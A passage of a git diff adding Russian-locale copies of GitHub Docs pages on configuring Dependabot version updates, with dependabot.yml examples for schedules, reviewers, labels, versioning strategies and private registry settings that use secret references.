`dependabot/npm_and_yarn/next_js/acorn-6.4.1`. + +Use `pull-request-branch-name.separator` to specify a different separator. This can be one of: `"-"`, `_` or `/`. The hyphen symbol must be quoted because otherwise it's interpreted as starting an empty YAML list. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Specify a different separator for branch names + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + pull-request-branch-name: + # Separate sections of the branch name with a hyphen + # for example, `dependabot-npm_and_yarn-next_js-acorn-6.4.1` + separator: "-" +``` + +### `rebase-strategy` + +By default, {% data variables.product.prodname_dependabot %} automatically rebases open pull requests when it detects any changes to the pull request. Use `rebase-strategy` to disable this behavior. + +Available rebase strategies + +- `disabled` to disable automatic rebasing. +- `auto` to use the default behavior and rebase open pull requests when changes are detected. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Disable automatic rebasing + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Disable rebasing for npm pull requests + rebase-strategy: "disabled" +``` + +### `registries` + +To allow {% data variables.product.prodname_dependabot %} to access a private package registry when performing a version update, you must include a `registries` setting within the relevant `updates` configuration. You can allow all of the defined registries to be used by setting `registries` to `"*"`. Alternatively, you can list the registries that the update can use. To do this, use the name of the registry as defined in the top-level `registries` section of the _dependabot.yml_ file. For more information, see "[Configuration options for private registries](#configuration-options-for-private-registries)" below. + +To allow {% data variables.product.prodname_dependabot %} to use `bundler`, `mix`, and `pip` package managers to update dependencies in private registries, you can choose to allow external code execution. For more information, see [`insecure-external-code-execution`](#insecure-external-code-execution) above. + +```yaml +# Allow {% data variables.product.prodname_dependabot %} to use one of the two defined private registries +# when updating dependency versions for this ecosystem + +{% raw %} +version: 2 +registries: + maven-github: + type: maven-repository + url: https://maven.pkg.github.com/octocat + username: octocat + password: ${{secrets.MY_ARTIFACTORY_PASSWORD}} + npm-npmjs: + type: npm-registry + url: https://registry.npmjs.org + username: octocat + password: ${{secrets.MY_NPM_PASSWORD}} +updates: + - package-ecosystem: "gitsubmodule" + directory: "/" + registries: + - maven-github + schedule: + interval: "monthly" +{% endraw %} +``` + +### `reviewers` + +Use `reviewers` to specify individual reviewers or teams of reviewers for all pull requests raised for a package manager. You must use the full team name, including the organization, as if you were @mentioning the team. + +{% data reusables.dependabot.option-affects-security-updates %} + +```yaml +# Specify reviewers for pull requests + +version: 2 +updates: + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + # Add reviewers + reviewers: + - "octocat" + - "my-username" + - "my-org/python-team" +``` + +### `schedule.day` + +When you set a `weekly` update schedule, by default, {% data variables.product.prodname_dependabot %} checks for new versions on Monday at a random set time for the repository. Use `schedule.day` to specify an alternative day to check for updates. + +Supported values + +- `monday` +- `tuesday` +- `wednesday` +- `thursday` +- `friday` +- `saturday` +- `sunday` + +```yaml +# Specify the day for weekly checks + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Check for npm updates on Sundays + day: "sunday" +``` + +### `schedule.time` + +By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.time` to specify an alternative time of day to check for updates (format: `hh:mm`). + +```yaml +# Set a time for checks +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Check for npm updates at 9am UTC + time: "09:00" +``` + +### `schedule.timezone` + +By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.timezone` to specify an alternative time zone. The time zone identifier must be from the Time Zone database maintained by [iana](https://www.iana.org/time-zones). For more information, see [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). + +```yaml +# Specify the timezone for checks + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + time: "09:00" + # Use Japan Standard Time (UTC +09:00) + timezone: "Asia/Tokyo" +``` + +### `target-branch` + +By default, {% data variables.product.prodname_dependabot %} checks for manifest files on the default branch and raises pull requests for version updates against this branch. Use `target-branch` to specify a different branch for manifest files and for pull requests. When you use this option, the settings for this package manager will no longer affect any pull requests raised for security updates. + +```yaml +# Specify a non-default branch for pull requests for pip + +version: 2 +updates: + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + # Raise pull requests for version updates + # to pip against the `develop` branch + target-branch: "develop" + # Labels on pull requests for version updates only + labels: + - "pip dependencies" + + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Check for npm updates on Sundays + day: "sunday" + # Labels on pull requests for security and version updates + labels: + - "npm dependencies" +``` + +### `vendor` + +Use the `vendor` option to tell {% data variables.product.prodname_dependabot %} to vendor dependencies when updating them. Don't use this option if you're using `gomod` as {% data variables.product.prodname_dependabot %} automatically detects vendoring for this tool. + +```yaml +# Configure version updates for both dependencies defined in manifests and vendored dependencies + +version: 2 +updates: + - package-ecosystem: "bundler" + # Raise pull requests to update vendored dependencies that are checked in to the repository + vendor: true + directory: "/" + schedule: + interval: "weekly" +``` + +{% data variables.product.prodname_dependabot %} only updates the vendored dependencies located in specific directories in a repository. + +| Package manager | Required file path for vendored dependencies | More information | + |------------------|-------------------------------|--------| + | `bundler` | The dependencies must be in the _vendor/cache_ directory.
Other file paths are not supported. | [`bundle cache` documentation](https://bundler.io/man/bundle-cache.1.html) | + | `gomod` | No path requirement (dependencies are usually located in the _vendor_ directory) | [`go mod vendor` documentation](https://golang.org/ref/mod#go-mod-vendor) | + + +### `versioning-strategy` + +When {% data variables.product.prodname_dependabot %} edits a manifest file to update a version, it uses the following overall strategies: + +- For apps, the version requirements are increased, for example: npm, pip and Composer. +- For libraries, the range of versions is widened, for example: Bundler and Cargo. + +Use the `versioning-strategy` option to change this behavior for supported package managers. + +{% data reusables.dependabot.option-affects-security-updates %} + +Available update strategies + +| Option | Supported by | Action | +|--------|--------------|--------| +| `lockfile-only` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Only create pull requests to update lockfiles. Ignore any new versions that would require package manifest changes. | +| `auto` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Follow the default strategy described above.| +| `widen`| `composer`, `npm` | Relax the version requirement to include both the new and old version, when possible. | +| `increase`| `bundler`, `composer`, `npm`{% ifversion dependabot-increase-version-pip-support %}, `pip`{% endif %} | Always increase the version requirement to match the new version. | +| `increase-if-necessary` | `bundler`, `composer`, `npm`{% ifversion dependabot-increase-version-pip-support %}, `pip`{% endif %} | Increase the version requirement only when required by the new version. | + +```yaml +# Customize the manifest version strategy + +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Update the npm manifest file to relax + # the version requirements + versioning-strategy: widen + + - package-ecosystem: "composer" + directory: "/" + schedule: + interval: "weekly" + # Increase the version requirements for Composer + # only when required + versioning-strategy: increase-if-necessary + + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + # Only allow updates to the lockfile for pip and + # ignore any version updates that affect the manifest + versioning-strategy: lockfile-only +``` + +## Configuration options for private registries + +The top-level `registries` key is optional. It allows you to specify authentication details that {% data variables.product.prodname_dependabot %} can use to access private package registries. + +{% note %} + +**Note:** Private registries behind firewalls on private networks are not supported. + +{% endnote %} + +The value of the `registries` key is an associative array, each element of which consists of a key that identifies a particular registry and a value which is an associative array that specifies the settings required to access that registry. The following *dependabot.yml* file, configures a registry identified as `dockerhub` in the `registries` section of the file and then references this in the `updates` section of the file. + +{% raw %} +```yaml +# Minimal settings to update dependencies in one private registry + +version: 2 +registries: + dockerhub: # Define access for a private registry + type: docker-registry + url: registry.hub.docker.com + username: octocat + password: ${{secrets.DOCKERHUB_PASSWORD}} +updates: + - package-ecosystem: "docker" + directory: "/docker-registry/dockerhub" + registries: + - dockerhub # Allow version updates for dependencies in this registry + schedule: + interval: "monthly" +``` +{% endraw %} + +You use the following options to specify access settings. Registry settings must contain a `type` and a `url`, and typically either a `username` and `password` combination or a `token`. + +| Option                 | Description | +|:---|:---| +| `type` | Identifies the type of registry. See the full list of types below. | +| `url` | The URL to use to access the dependencies in this registry. The protocol is optional. If not specified, `https://` is assumed. {% data variables.product.prodname_dependabot %} adds or ignores trailing slashes as required. | +| `username` | The username that {% data variables.product.prodname_dependabot %} uses to access the registry. | +| `password` | A reference to a {% data variables.product.prodname_dependabot %} secret containing the password for the specified user. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." | +| `key` | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access key for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." | +| `token` | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access token for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." | +| `replaces-base` | For registries with `type: python-index`, if the boolean value is `true`, pip resolves dependencies by using the specified URL rather than the base URL of the Python Package Index (by default `https://pypi.org/simple`). | + + +Each configuration `type` requires you to provide particular settings. Some types allow more than one way to connect. The following sections provide details of the settings you should use for each `type`. + +### `composer-repository` + +The `composer-repository` type supports username and password. + +{% raw %} +```yaml +registries: + composer: + type: composer-repository + url: https://repo.packagist.com/example-company/ + username: octocat + password: ${{secrets.MY_PACKAGIST_PASSWORD}} +``` +{% endraw %} + +### `docker-registry` + +{% data variables.product.prodname_dependabot %} works with any container registries that implement the OCI container registry spec. For more information, see [https://github.com/opencontainers/distribution-spec/blob/main/spec.md](https://github.com/opencontainers/distribution-spec/blob/main/spec.md). {% data variables.product.prodname_dependabot %} supports authentication to private registries via a central token service or HTTP Basic Auth. For further details, see [Token Authentication Specification](https://docs.docker.com/registry/spec/auth/token/) in the Docker documentation and [Basic access authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) on Wikipedia. + +The `docker-registry` type supports username and password. + +{% raw %} +```yaml +registries: + dockerhub: + type: docker-registry + url: https://registry.hub.docker.com + username: octocat + password: ${{secrets.MY_DOCKERHUB_PASSWORD}} +``` +{% endraw %} + +The `docker-registry` type can also be used to pull from private Amazon ECR using static AWS credentials. + +{% raw %} +```yaml +registries: + ecr-docker: + type: docker-registry + url: https://1234567890.dkr.ecr.us-east-1.amazonaws.com + username: ${{secrets.ECR_AWS_ACCESS_KEY_ID}} + password: ${{secrets.ECR_AWS_SECRET_ACCESS_KEY}} +``` +{% endraw %} + +### `git` + +The `git` type supports username and password. + +{% raw %} +```yaml +registries: + github-octocat: + type: git + url: https://github.com + username: x-access-token + password: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} +``` +{% endraw %} + +### `hex-organization` + +The `hex-organization` type supports organization and key. + +{% raw %} +```yaml +registries: + github-hex-org: + type: hex-organization + organization: github + key: ${{secrets.MY_HEX_ORGANIZATION_KEY}} +``` +{% endraw %} + +### `maven-repository` + +The `maven-repository` type supports username and password. + +{% raw %} +```yaml +registries: + maven-artifactory: + type: maven-repository + url: https://artifactory.example.com + username: octocat + password: ${{secrets.MY_ARTIFACTORY_PASSWORD}} +``` +{% endraw %} + +### `npm-registry` + +The `npm-registry` type supports username and password, or token. + +When using username and password, your `.npmrc`'s auth token may contain a `base64` encoded `_password`; however, the password referenced in your {% data variables.product.prodname_dependabot %} configuration file must be the original (unencoded) password. + +{% raw %} +```yaml +registries: + npm-npmjs: + type: npm-registry + url: https://registry.npmjs.org + username: octocat + password: ${{secrets.MY_NPM_PASSWORD}} # Must be an unencoded password +``` +{% endraw %} + +{% raw %} +```yaml +registries: + npm-github: + type: npm-registry + url: https://npm.pkg.github.com + token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} +``` +{% endraw %} +{% ifversion dependabot-yarn-v3-update %} +For security reasons, {% data variables.product.prodname_dependabot %} does not set environment variables. Yarn (v2 and later) requires that any accessed environment variables are set. When accessing environment variables in your `.yarnrc.yml` file, you should provide a fallback value such as {% raw %}`${ENV_VAR-fallback}`{% endraw %} or {% raw %}`${ENV_VAR:-fallback}`{% endraw %}. For more information, see [Yarnrc files](https://yarnpkg.com/configuration/yarnrc) in the Yarn documentation.{% endif %} + +### `nuget-feed` + +The `nuget-feed` type supports username and password, or token. + +{% raw %} +```yaml +registries: + nuget-example: + type: nuget-feed + url: https://nuget.example.com/v3/index.json + username: octocat@example.com + password: ${{secrets.MY_NUGET_PASSWORD}} +``` +{% endraw %} + +{% raw %} +```yaml +registries: + nuget-azure-devops: + type: nuget-feed + url: https://pkgs.dev.azure.com/.../_packaging/My_Feed/nuget/v3/index.json + username: octocat@example.com + password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} +``` +{% endraw %} + +### `python-index` + +The `python-index` type supports username and password, or token. + +{% raw %} +```yaml +registries: + python-example: + type: python-index + url: https://example.com/_packaging/my-feed/pypi/example + username: octocat + password: ${{secrets.MY_BASIC_AUTH_PASSWORD}} + replaces-base: true +``` +{% endraw %} + +{% raw %} +```yaml +registries: + python-azure: + type: python-index + url: https://pkgs.dev.azure.com/octocat/_packaging/my-feed/pypi/example + username: octocat@example.com + password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} + replaces-base: true +``` +{% endraw %} + +### `rubygems-server` + +The `rubygems-server` type supports username and password, or token. + +{% raw %} +```yaml +registries: + ruby-example: + type: rubygems-server + url: https://rubygems.example.com + username: octocat@example.com + password: ${{secrets.MY_RUBYGEMS_PASSWORD}} +``` +{% endraw %} + +{% raw %} +```yaml +registries: + ruby-github: + type: rubygems-server + url: https://rubygems.pkg.github.com/octocat/github_api + token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} +``` +{% endraw %} + +### `terraform-registry` + +The `terraform-registry` type supports a token. + +{% raw %} +```yaml +registries: + terraform-example: + type: terraform-registry + url: https://terraform.example.com + token: ${{secrets.MY_TERRAFORM_API_TOKEN}} +``` +{% endraw %} + +{% ifversion fpt or ghec or ghes > 3.4 %} +## Enabling support for beta-level ecosystems + +### `enable-beta-ecosystems` + +By default, {% data variables.product.prodname_dependabot %} updates the dependency manifests and lock files only for fully supported ecosystems. Use the `enable-beta-ecosystems` flag to opt in to updates for ecosystems that are not yet generally available. + +```yaml +# Configure beta ecosystem + +version: 2 +enable-beta-ecosystems: true +updates:{% ifversion fpt or ghec or ghes > 3.5 %} + - package-ecosystem: "beta-ecosystem"{% else %} + - package-ecosystem: "pub"{% endif %} + directory: "/" + schedule: + interval: "weekly" +``` +{% endif %} diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md new file mode 100644 index 000000000000..9bb5a8e00268 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md @@ -0,0 +1,166 @@ +--- +title: Configuring Dependabot version updates +intro: 'You can configure your repository so that {% data variables.product.prodname_dependabot %} automatically updates the packages you use.' +permissions: 'People with write permissions to a repository can enable or disable {% data variables.product.prodname_dependabot_version_updates %} for the repository.' +redirect_from: + - /github/administering-a-repository/enabling-and-disabling-version-updates + - /code-security/supply-chain-security/enabling-and-disabling-version-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates +versions: + fpt: '*' + ghec: '*' + ghes: '> 3.2' +type: how_to +topics: + - Dependabot + - Version updates + - Repositories + - Dependencies + - Pull requests +shortTitle: Configure version updates +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About version updates for dependencies + +You enable {% data variables.product.prodname_dependabot_version_updates %} by checking a *dependabot.yml* configuration file in to your repository's `.github` directory. {% data variables.product.prodname_dependabot %} then raises pull requests to keep the dependencies you configure up-to-date. For each package manager's dependencies that you want to update, you must specify the location of the package manifest files and how often to check for updates to the dependencies listed in those files. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." + +{% data reusables.dependabot.initial-updates %} For more information, see "[Customizing dependency updates](/github/administering-a-repository/customizing-dependency-updates)." + +By default only direct dependencies that are explicitly defined in a manifest are kept up to date by {% data variables.product.prodname_dependabot_version_updates %}. You can choose to receive updates for indirect dependencies defined in lock files. For more information, see "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#allow)." + +{% data reusables.dependabot.private-dependencies-note %} Additionally, {% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. For more information, see "[About Dependabot version updates](/github/administering-a-repository/about-dependabot-version-updates#supported-repositories-and-ecosystems)" and "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)." + +## Enabling {% data variables.product.prodname_dependabot_version_updates %} + +You enable {% data variables.product.prodname_dependabot_version_updates %} by commiting a *dependabot.yml* configuration file to your repository. +{% ifversion dependabot-settings-update-37 %}If you enable the feature in your settings page, GitHub creates a basic file which you can edit, otherwise you can create the file using any file editor. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. Under "Code security and analysis", to the right of "{% data variables.product.prodname_dependabot_version_updates %}", click **Enable** to open a basic *dependabot.yml* configuration file in the `.github` directory of your repository. +{% else %} +1. Create a *dependabot.yml* configuration file in the `.github` directory of your repository. +{% endif %} +1. Add a `version`. +1. Optionally, if you have dependencies in a private registry, add a `registries` section containing authentication details. +1. Add an `updates` section, with an entry for each package manager you want {% data variables.product.prodname_dependabot %} to monitor. +1. For each package manager, use: + - `package-ecosystem` to specify the package manager. + - `directory` to specify the location of the manifest or other definition files. + - `schedule.interval` to specify how often to check for new versions. +{% data reusables.dependabot.check-in-dependabot-yml %} + +For information about all the configuration options, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates)." + +### Example *dependabot.yml* file + +The example *dependabot.yml* file below configures version updates for two package managers: npm and Docker. When this file is checked in, {% data variables.product.prodname_dependabot %} checks the manifest files on the default branch for outdated dependencies. If it finds outdated dependencies, it will raise pull requests against the default branch to update the dependencies. + +```yaml +# Basic dependabot.yml file with +# minimum configuration for two package managers + +version: 2 +updates: + # Enable version updates for npm + - package-ecosystem: "npm" + # Look for `package.json` and `lock` files in the `root` directory + directory: "/" + # Check the npm registry for updates every day (weekdays) + schedule: + interval: "daily" + + # Enable version updates for Docker + - package-ecosystem: "docker" + # Look for a `Dockerfile` in the `root` directory + directory: "/" + # Check for updates once a week + schedule: + interval: "weekly" +``` + +In the example above, if the Docker dependencies were very outdated, you might want to start with a `daily` schedule until the dependencies are up-to-date, and then drop back to a weekly schedule. + +### Enabling version updates on forks + +If you want to enable version updates on forks, there's an extra step. Version updates are not automatically enabled on forks when a *dependabot.yml* configuration file is present. This ensures that fork owners don't unintentionally enable version updates when they pull changes including a *dependabot.yml* configuration file from the original repository. + +On a fork, you also need to explicitly enable {% data variables.product.prodname_dependabot %}. + +{% ifversion dependabot-version-updates-for-forks %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. Under "Code security and analysis", to the right of "{% data variables.product.prodname_dependabot_version_updates %}", click **Enable** to allow {% data variables.product.prodname_dependabot %} to initiate version updates. +![Screenshot of {% data variables.product.prodname_dependabot_version_updates %} setting for a forked repository](/assets/images/help/dependabot/dependabot-version-update-forks.png) + +{% else %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.accessing-repository-graphs %} +{% data reusables.repositories.click-dependency-graph %} +{% data reusables.dependabot.click-dependabot-tab %} +5. Under "Enable Dependabot", click **Enable Dependabot**. + +{% endif %} + +## Checking the status of version updates + +After you enable version updates, the **Dependabot** tab in the dependency graph for the repository is populated. This tab shows which package managers {% data variables.product.prodname_dependabot %} is configured to monitor and when {% data variables.product.prodname_dependabot %} last checked for new versions. + +![Repository Insights tab, Dependency graph, Dependabot tab](/assets/images/help/dependabot/dependabot-tab-view.png) + +For information, see "[Listing dependencies configured for version updates](/github/administering-a-repository/listing-dependencies-configured-for-version-updates)." + +## Disabling {% data variables.product.prodname_dependabot_version_updates %} + +You can disable version updates entirely by deleting the *dependabot.yml* file from your repository. More usually, you want to disable updates temporarily for one or more dependencies, or package managers. + +- Package managers: disable by setting `open-pull-requests-limit: 0` or by commenting out the relevant `package-ecosystem` in the configuration file. +- Specific dependencies: disable by adding `ignore` attributes for packages or applications that you want to exclude from updates. + +When you disable dependencies, you can use wild cards to match a set of related libraries. You can also specify which versions to exclude. This is particularly useful if you need to block updates to a library, pending work to support a breaking change to its API, but want to get any security fixes to the version you use. + +### Example disabling version updates for some dependencies + +The example *dependabot.yml* file below includes examples of the different ways to disable updates to some dependencies, while allowing other updates to continue. + +```yaml +# dependabot.yml file with updates +# disabled for Docker and limited for npm + +version: 2 +updates: + # Configuration for Dockerfile + - package-ecosystem: "docker" + directory: "/" + schedule: + interval: "weekly" + # Disable all pull requests for Docker dependencies + open-pull-requests-limit: 0 + + # Configuration for npm + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + ignore: + # Ignore updates to packages that start with 'aws' + # Wildcards match zero or more arbitrary characters + - dependency-name: "aws*" + # Ignore some updates to the 'express' package + - dependency-name: "express" + # Ignore only new versions for 4.x and 5.x + versions: ["4.x", "5.x"] + # For all packages, ignore all patch updates + - dependency-name: "*" + update-types: ["version-update:semver-patch"] +``` + +For more information about checking for existing ignore preferences, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#ignore)." diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md new file mode 100644 index 000000000000..4ec0f0cac838 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md @@ -0,0 +1,144 @@ +--- +title: Customizing dependency updates +intro: 'You can customize how {% data variables.product.prodname_dependabot %} maintains your dependencies.' +permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_dependabot %} for the repository.' +redirect_from: + - /github/administering-a-repository/customizing-dependency-updates + - /code-security/supply-chain-security/customizing-dependency-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: how_to +topics: + - Dependabot + - Version updates + - Security updates + - Repositories + - Dependencies + - Pull requests + - Vulnerabilities +shortTitle: Customize updates +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About customizing dependency updates + +After you've enabled version updates, you can customize how {% data variables.product.prodname_dependabot %} maintains your dependencies by adding further options to the *dependabot.yml* file. For example, you could: + +- Specify which day of the week to open pull requests for version updates: `schedule.day` +- Set reviewers, assignees, and labels for each package manager: `reviewers`, `assignees`, and `labels` +- Define a versioning strategy for changes to each manifest file: `versioning-strategy` +- Change the maximum number of open pull requests for version updates from the default of 5: `open-pull-requests-limit` +- Open pull requests for version updates to target a specific branch, instead of the default branch: `target-branch` + +For more information about the configuration options, see "[Configuration options for the dependabot.yml file](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates)." + +When you update the *dependabot.yml* file in your repository, {% data variables.product.prodname_dependabot %} runs an immediate check with the new configuration. Within minutes you will see an updated list of dependencies on the **{% data variables.product.prodname_dependabot %}** tab, this may take longer if the repository has many dependencies. You may also see new pull requests for version updates. For more information, see "[Listing dependencies configured for version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates)." + +## Impact of configuration changes on security updates + +If you customize the *dependabot.yml* file, you may notice some changes to the pull requests raised for security updates. These pull requests are always triggered by a security advisory for a dependency, rather than by the {% data variables.product.prodname_dependabot %} schedule. However, they inherit relevant configuration settings from the *dependabot.yml* file unless you specify a different target branch for version updates. + +For an example, see "[Setting custom labels](#setting-custom-labels)" below. + +## Modifying scheduling + +When you set a `daily` update schedule, by default, {% data variables.product.prodname_dependabot %} checks for new versions at 05:00 UTC. You can use `schedule.time` to specify an alternative time of day to check for updates (format: `hh:mm`). + +The example *dependabot.yml* file below expands the npm configuration to specify when {% data variables.product.prodname_dependabot %} should check for version updates to dependencies. + +```yaml +# dependabot.yml file with +# customized schedule for version updates + +version: 2 +updates: + # Keep npm dependencies up to date + - package-ecosystem: "npm" + directory: "/" + # Check the npm registry for updates at 2am UTC + schedule: + interval: "daily" + time: "02:00" +``` + +## Setting reviewers and assignees + +By default, {% data variables.product.prodname_dependabot %} raises pull requests without any reviewers or assignees. + +You can use `reviewers` and `assignees` to specify reviewers and assignees for all pull requests raised for a package manager. When you specify a team, you must use the full team name, as if you were @mentioning the team (including the organization). + +The example *dependabot.yml* file below changes the npm configuration so that all pull requests opened with version and security updates for npm will have two reviewers and one assignee. + +```yaml +# dependabot.yml file with +# reviews and an assignee for all npm pull requests + +version: 2 +updates: + # Keep npm dependencies up to date + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Raise all npm pull requests with reviewers + reviewers: + - "my-org/team-name" + - "octocat" + # Raise all npm pull requests with an assignee + assignees: + - "user-name" +``` + +## Setting custom labels + +{% data reusables.dependabot.default-labels %} + +You can use `labels` to override the default labels and specify alternative labels for all pull requests raised for a package manager. You can't create new labels in the *dependabot.yml* file, so the alternative labels must already exist in the repository. + +The example *dependabot.yml* file below changes the npm configuration so that all pull requests opened with version and security updates for npm will have custom labels. It also changes the Docker configuration to check for version updates against a custom branch and to raise pull requests with custom labels against that custom branch. The changes to Docker will not affect security update pull requests because security updates are always made against the default branch. + +{% note %} + +**Note:** The new `target-branch` must contain a Dockerfile to update, otherwise this change will have the effect of disabling version updates for Docker. + +{% endnote %} + +```yaml +# dependabot.yml file with +# customized npm configuration + +version: 2 +updates: + # Keep npm dependencies up to date + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + # Raise all npm pull requests with custom labels + labels: + - "npm dependencies" + - "triage-board" + + # Keep Docker dependencies up to date + - package-ecosystem: "docker" + directory: "/" + schedule: + interval: "weekly" + # Raise pull requests for Docker version updates + # against the "develop" branch. The Docker configuration + # no longer affects security update pull requests. + target-branch: "develop" + # Use custom labels on pull requests for Docker version updates + labels: + - "Docker dependencies" + - "triage-board" +``` + +## More examples + +For more examples, see "[Configuration options for the dependabot.yml file](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates)." diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/index.md b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/index.md new file mode 100644 index 000000000000..698164c65f86 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/index.md @@ -0,0 +1,32 @@ +--- +title: Автоматическое обновление зависимостей с помощью обновлений версий Dependabot +intro: 'Вы можете использовать {% data variables.product.prodname_dependabot %} для автоматического обновления зависимостей и пакетов, используемых в репозитории, до последней версии, даже если у них нет известных уязвимостей.' +allowTitleToDifferFromFilename: true +redirect_from: + - /github/administering-a-repository/keeping-your-dependencies-updated-automatically + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Repositories + - Dependabot + - Version updates + - Dependencies + - Pull requests +children: + - /about-dependabot-version-updates + - /configuring-dependabot-version-updates + - /listing-dependencies-configured-for-version-updates + - /customizing-dependency-updates + - /configuration-options-for-the-dependabot.yml-file +shortTitle: Dependabot version updates +ms.openlocfilehash: 7d926dd11d8d97511a66109273e30aa018f2707a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110151' +--- + diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md new file mode 100644 index 000000000000..e44e45c3e105 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md @@ -0,0 +1,42 @@ +--- +title: Listing dependencies configured for version updates +intro: 'You can view the dependencies that {% data variables.product.prodname_dependabot %} monitors for updates.' +redirect_from: + - /github/administering-a-repository/listing-dependencies-configured-for-version-updates + - /code-security/supply-chain-security/listing-dependencies-configured-for-version-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: how_to +topics: + - Repositories + - Dependabot + - Version updates + - Dependencies +shortTitle: List configured dependencies +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## Viewing dependencies monitored by {% data variables.product.prodname_dependabot %} + +After you've enabled version updates, you can confirm that your configuration is correct using the **{% data variables.product.prodname_dependabot %}** tab in the dependency graph for the repository. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.accessing-repository-graphs %} +{% data 